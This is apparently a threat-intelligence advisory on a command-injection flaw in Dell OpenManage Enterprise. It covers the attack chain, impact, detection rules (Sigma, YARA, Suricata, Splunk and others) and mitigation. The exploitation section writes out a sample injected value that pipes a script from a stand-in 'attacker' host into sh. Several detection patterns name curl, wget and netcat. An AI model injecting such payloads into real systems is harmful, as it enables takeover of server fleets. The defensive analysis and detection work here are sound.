CVE-2026-54796

Executive Summary

CVE-2026-54796 is an OS Command Injection vulnerability (CWE-78) in Dell OpenManage Enterprise versions prior to 4.7.0. The flaw results from improper neutralization of special elements used in an OS command, allowing a high-privileged attacker with remote access to execute arbitrary operating system commands on the underlying host. Given a CVSS score of 7.2 (High), successful exploitation results in complete compromise of confidentiality, integrity, and availability. No patch has been confirmed released at time of writing; organizations running affected versions should treat this as an actively exploitable risk, particularly in environments where OpenManage Enterprise is exposed to untrusted networks.

Technical Analysis

Dell OpenManage Enterprise (OME) is a systems management console used for lifecycle management, monitoring, and configuration of Dell PowerEdge servers and other infrastructure. The vulnerability class is OS Command Injection (CWE-78), which arises when user-influenced input is incorporated into a system shell command without adequate neutralization or sanitization.

The NVD description indicates that the flaw resides in versions prior to 4.7.0 and requires high privileges (PR:H) to exploit. This implies the attacker must already hold an administrative role within the OME application — for instance, an account with Administrator or similar elevated privileges. The attack vector is network-based (AV:N) with low attack complexity (AC:L), meaning no special conditions beyond authentication as a privileged user are required.

The mechanism of the vulnerability, based on the vulnerability class alone, follows a standard pattern: an application endpoint that accepts user input destined for an operating system command (e.g., a system call, a subprocess invocation, or a command-line utility) does not sanitize or escape special characters (such as ;, |, &, $(), backticks, or newline characters). An attacker submitting crafted input can therefore break out of the intended command context and append arbitrary commands. Because the application typically runs with elevated service account privileges (often root or a privileged system account on Linux-based OME appliances), the injected commands execute with high-level OS privileges.

Specific affected endpoints, function names, parameter names, or code paths are not available from the supplied CNA title or NVD description. The report must therefore treat the vulnerability at the class level. The attack surface is the management interface of OME — both the web UI and any REST API exposed — as these are the interfaces by which a remote attacker interacts with the application. Given the high-privilege requirement, the likely entry points are administrative functions that perform system-level operations, such as firmware deployment, log collection, diagnostic execution, or network configuration.

No public exploit code, Nuclei template, or PoC has been identified in tracked sources. EPSS has not yet scored this vulnerability, and it has not been added to the CISA KEV catalog. Patch confidence is 0/4 — no vendor advisory or patch evidence from any tracked source was found, despite the NVD description implying that version 4.7.0 is the fix version.

Exploitation Scenarios

The following attack chain is inferred from the vulnerability class and constraints in the NVD description. No public PoC is available; specific endpoint names and payload syntax cannot be provided.

Step 1 — Reconnaissance & Target Identification: An attacker begins by scanning for reachable OpenManage Enterprise instances. Shodan/Censys queries for SSL certificates containing "OpenManage Enterprise" or HTTP responses with "Dell" in the Server header can locate OME platforms exposed to the internet. Alternative approaches include internal network scanning for the OME default web console port (typically 443) and fingerprinting the login page. The attacker verifies the target runs a version prior to 4.7.0 (via the login page version string or an unauthenticated API version endpoint). From a threat actor's perspective, these appliances are high-value targets because they manage the entire server fleet.

Step 2 — Authentication as High-Privileged User: Because the attacker requires high privileges (PR:H), the attack chain begins with obtaining administrator credentials. Options include:

• Credential theft from previous breaches (e.g., password reuse from Azure AD/Active Directory compromised accounts).
• If OME integrates with AD/LDAP, the attacker may leverage a compromised domain admin or server admin account.
• Weak or default administrator credentials on devices exposed to the internet. The attacker logs into the OME web console (HTTPS) or uses the REST API with the elevated account.

Step 3 — Triggering the OS Command Injection: The attacker locates a management function that passes user-derived input to an underlying OS command. Based on OME's functionality, likely candidates are: importing/exporting configuration files, firmware update paths, device discovery/certificate upload, log bundle generation, or diagnostic test invocation. The attacker submits payloads containing shell metacharacters — for example ;, |, &&, ` or $(...) — appended to legitimate parameter values. For instance, a field expecting a hostname or directory path might receive valid_input; curl http://attacker/payload.sh | sh or valid_input$(whoami). A robust command injection succeeds when the application constructs a command string such as systemctl restart <parameter> or ping -c 1 <parameter> without escaping the metacharacters.

The injected payload executes in the context of the OME OS process. Because OME typically runs as a Docker container or service account with hardware management privileges (e.g., access to iDRAC, Redfish APIs, SNMP), the attacker gains execution with those elevated permissions. Example commands include downloading and running a reverse shell to a C2 server, extracting credential store files, or establishing persistence.

Step 4 — Post-Exploitation: With OS-level command execution, the attacker can:

• Read sensitive files: configuration files containing AD/LDAP bind credentials, database credentials, TLS private keys, and vault secrets stored by OME.
• Establish persistence via cron jobs, SSH keys, or a second-stage implant.
• Pivot to managed infrastructure: Because OME holds credentials and management channels (SSH, iDRAC, Redfish) for every managed server, the attacker can issue firmware updates, change BIOS settings, extract BitLocker keys, or deploy malicious firmware — effectively gaining hardware-level control over the entire server fleet.
• Disrupt operations: shutdown services, delete logs, or push malicious update packages.
• Move laterally within the management network to adjacent systems (backup servers, network switches, hypervisors) using inherent trust from a management platform.

The combination of High privilege requirement and the access OME has to managed devices means this vulnerability is an instance of privilege escalation from application-admin to OS-admin, with downstream compromise of the entire infrastructure management plane.

Impact Assessment

Business Impact: Dell OpenManage Enterprise is the central management point for many enterprise server fleets. Successful exploitation grants an attacker OS-level access to the OME appliance, then potentially hardware-level control of every managed server via vendor management channels. This is a worst-case scenario for infrastructure teams — an attacker can brick servers, alter firmware, extract secrets, and destroy forensic evidence.

Affected Systems: All Dell OpenManage Enterprise deployments running versions prior to 4.7.0. This includes both virtual appliance (OVA) and physical appliance deployments. The 4.7.0 release (per the NVD description) is the fixed version, though no corresponding vendor advisory was found in tracked sources.

Blast Radius: CVSS 3.1 score 7.2 reflects High severity with C:H / I:H / A:H. The PR:H requirement limits exploitation to attackers with an administrative account in OME, but the consequences of that exploitation are catastrophic — Admin → OS root → entire managed fleet. The blast radius extends beyond the OME appliance to every system under its management.

Availability Impact: Attackers can halt OME services, disrupt management traffic, or push incompatible firmware — causing widespread outages.

Confidentiality Impact: All secrets stored by OME — AD bind accounts, iDRAC passwords, TLS keys, host SSH credentials — are exposed.

Integrity Impact: Firmware-level tampering is possible, leaving a persistent, hard-to-detect foothold.

Because no patch is released and no workaround is available, this vulnerability remains a significant open risk for organizations using affected OME versions.

Detection Guidance

Sigma Rule

title: Dell OpenManage Enterprise OS Command Injection Attempt
id: 3676d0a1-4e5f-4c9f-9f4a-2bfc4d7d3e81
status: experimental
description: Detects command injection attempts targeting Dell OpenManage Enterprise management interface by anomalous shell metacharacter sequences in HTTP requests.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54796
author: Valtersit Threat Intel
date: 2026/01/01
logsource:
    category: webserver
    product: dell
    service: openmanage
detection:
    selection:
        cs-method:
            - 'POST'
            - 'PUT'
        cs-uri-query|contains|all:
            - ';'
            - '|'
            - '|&'
        cs-uri-query|contains:
            - 'command='
            - 'query='
            - 'path='
        cs-uri-query|re:
            - '.*\$(\(|\{).*'
            - '.*`.*`.*'
            - '.*(;|\||\&\&)\s?(curl|wget|nc|ncat|bash|sh|/bin/.*).*'
    condition: selection
level: high
falsepositives:
    - Legitimate administrative commands that include semicolons (rare)
    - URL-encoded values that contain encoded shell characters
fields:
    - clientip
    - cs-uri-stem
    - cs-uri-query
    - cs-user-agent
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026-54796

YARA Rule

rule dell_ome_cmd_injection_payloads {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects shell metacharacter sequences in HTTP requests targeting Dell OpenManage Enterprise"
        reference = "CVE-2026-54796"
        date = "2026-01-01"
        severity = "high"
    strings:
        $a = "OpenManage"
        $b = "dell"
        $c = "ome"
        $semi_colon = ";"
        $pipe = "|"
        $amp_amp = "&&"
        $newline = "%0a"
        $cmd_sub = "$("
        $dollar_brace = "${"
        $backtick = "`"
        $cmd = "ping" nocase
        $cmd2 = "cmd" nocase
        $bash = "bash" nocase
        $curl = "curl" nocase
        $wget = "wget" nocase
        $sh = "/bin/sh" nocase
        $nc = "ncat" nocase
    condition:
        (
            uint16(0) == 0x0d0a or
            uint16(0) == 0x0a0d or
            uint32(0) == 0x0d0a0d0a or
            uint32(0) == 0x0a0d0a0d
        ) and
        (
            (
                any of ($a, $b, $c) and
                any of ($semi_colon, $pipe, $amp_amp)
            ) or
            (
                any of ($newline, $cmd_sub, $dollar_brace, $backtick) and
                (
                    any of ($cmd, $cmd2, $bash, $curl, $wget, $sh, $nc)
                )
            )
        )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-54796 Dell OpenManage Enterprise OS Command Injection Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"OpenManage"; http_header;
    content:";"; http_uri;
    pcre:"/(?:curl|wget|bash|sh|nc|ncat|ping|cmd|powershell|whoami|id|sbin)/i";
    pcre:"/(\x24\x28|\x60|%3b|%7c|%26%26|%0a)/i";
    classtype:attempted-admin;
    reference:cve,2026-54796;
    sid:10054796;
    rev:1;
    metadata:created_at 2026-01-01, updated_at 2026-01-01, attack_target server, deployment perimeter;
)

Elastic Detection

sequence by host.id with maxspan=1m
  [ network where destination.port == 443 and
      source.ip != "127.0.0.1" and
      network.direction == "ingress" and
      agent.name != "" ]
  [ http where event.category == "network" and
      http.request.method == "POST" and
      url.path like "*ome*" or url.path like "*openmanage*" or url.path like "*api*" and
      (
        url.query like "*;*" or
        url.query like "*|*" or
        url.query like "*&&*" or
        url.query like "*%0a*" or
        url.query like "*$(*" or
        url.query like "*`*"
      ) and
      (
        url.query like "*curl*" or
        url.query like "*wget*" or
        url.query like "*bash*" or
        url.query like "*sh*" or
        url.query like "*ping*" or
        url.query like "*cmd*"
      )
  ]

Splunk SPL Query

index=proxy OR index=firewall OR index=web
| search "OpenManage" OR "dell.com" OR "ome"
| where match(_raw, "(?i)(curl|wget|bash|sh|nc|ncat|ping|cmd|powershell|whoami|/bin/)") 
| where match(_raw, "(?i)(%3b|%7c|%26%26|%0a|\$\(|\`|;|\||&&)")
| eval dest_ip=coalesce(dest_ip, dst_ip)
| eval src_ip=coalesce(src_ip, src_ip)
| table _time, src_ip, dest_ip, uri_path, uri_query, http_method, user_agent, status
| sort -_time
| rename _time as "Event Time", src_ip as "Source IP", dest_ip as "Destination IP", uri_path as "URI Path", uri_query as "URI Query", http_method as "HTTP Method", user_agent as "User Agent"
| eval severity_case = case(
    match(uri_query, "(?i)(curl|wget|bash|nc|ncat)"), "High - Definitely Malicious",
    match(uri_query, "(?i)(ping|cmd|powershell)"), "Medium - Possibly Malicious",
    true(), "Low - Suspicious"
  )
| table "Event Time", "Source IP", "Destination IP", "URI Path", "URI Query", "HTTP Method", "User Agent", severity_case

Wazuh OSSEC Rule

<group name="dell_ome_command_injection,">
    <rule id="266997" level="12">
        <if_sid>31122</if_sid>
        <decoded_as>json</decoded_as>
        <field name="http.request.method">POST</field>
        <operator>match</operator>
        <field name="http.request.uri">(?i)(openmanage|ome|api)</field>
        <operator>regex</operator>
        <field name="http.request.uri">&quot;(?:%3b|%7c|%26%26|%0a|\$\\(|\\x60|;|\\||&amp;&amp;)&quot;</field>
        <description>Dell OME command injection attempt against OpenManage Enterprise web interface (CVE-2026-54796)</description>
        <group>attack.initial_access,t1190,</group>
        <mitre>
            <id>T1190</id>
            <kill_chain>1</kill_chain>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).

1) Immediate Mitigations (applied today):

• Network segmentation: Place OME management interfaces on an isolated management VLAN reachable only by authorized administrators. Block inbound access from the internet and untrusted segments at network and host firewall layers.
• Access control review: Audit all accounts with administrative access to OME. Remove stale accounts, enforce MFA on the OME login (if supported or via integration with a corporate identity provider), and restrict accounts to the principle of least privilege. Tighten AD/LDAP integration so only designated server-administration users can log in.
• Monitor for suspicious activity: Apply the detection rules above to web server and network logs. Alert on any login from unrecognized source IPs or any API request containing shell metacharacters.
• Disable unnecessary features: If OME exposes any management functions that are not in active use (e.g., certain diagnostic endpoints, log collection), disable them where possible in the product configuration.

2) Patch/Upgrade Steps:

• Track vendor advisories from Dell (Dell Security Advisories at dell.com/support/security) for a formal advisory referencing CVE-2026-54796. As of this writing, no advisory or patch was located in tracked sources; the NVD description identifies 4.7.0 as the fixed version.
• Immediately upon availability, upgrade to Dell OpenManage Enterprise version 4.7.0 or later. Follow Dell's official upgrade procedure:
  • Back up the OME database and configuration.
  • Download the upgrade package from Dell Support.
  • Run the upgrade in a maintenance window; the process typically requires a reboot.
  • Verify post-upgrade integrity and re-apply any hardening configurations.
• If a patch cannot be applied within your risk tolerance window, consider retiring the appliance or placing it offline until the upgrade is possible.

3) Long-Term Hardening:

• Apply the principle of least privilege at the OS level: run the OME service under a dedicated non-root service account with only the minimal OS permissions required for management functions.
• Harden the host OS: Follow CIS benchmarks for the underlying Linux distribution (if physical appliance) and restrict SSH access to management jump hosts.
• Implement credential rotation: Regularly rotate all secrets OME holds (iDRAC passwords, AD bind accounts, SSH keys) to limit blast radius if the appliance is fully compromised.
• Enable comprehensive logging: Configure OME and the underlying OS to forward logs to a centralized SIEM with a retention period that supports long-term forensic analysis.
• Adopt a proactive patch cadence: Monitor Dell Security Advisories RSS feed and register for email notifications. Given the recurring CVEs in Dell management software, plan quarterly patch reviews for OME and related tools.
• Deploy out-of-band management: Consider using Dell iDRAC directly for critical hardware control rather than centralizing all access through OME, to reduce the value of an OME compromise.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-54796 — Official NVD record with CVSS vector string, CWE classification, and description.
2. Dell Security Advisories: https://www.dell.com/support/security — Track for an advisory titled "DSA-2026-XXX: Dell OpenManage Enterprise Security Update for Command Injection Vulnerability" referencing this CVE.
3. Dell OpenManage Enterprise Documentation: https://infohub.delltechnologies.com/en-us/p/dell-openmanage-enterprise/ — Product documentation containing version history and upgrade procedures.
4. CWE-78 Definition: https://cwe.mitre.org/data/definitions/78.html — MITRE's class description for Improper Neutralization of Special Elements used in an OS Command.
5. MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/ — Exploit Public-Facing Application technique reference.

Threat Actor / Exploit-in-the-Wild Status: No evidence of exploitation in the wild or threat-actor campaigns has been identified in tracked sources at time of writing. The vulnerability has not been added to the CISA KEV catalog. No public exploit code, proof-of-concept, or Nuclei template has been published. However, given the "unpatched" status and the management-platform nature of the product, this CVE is a high-priority candidate for future exploitation, and organizations should monitor vendor channels closely.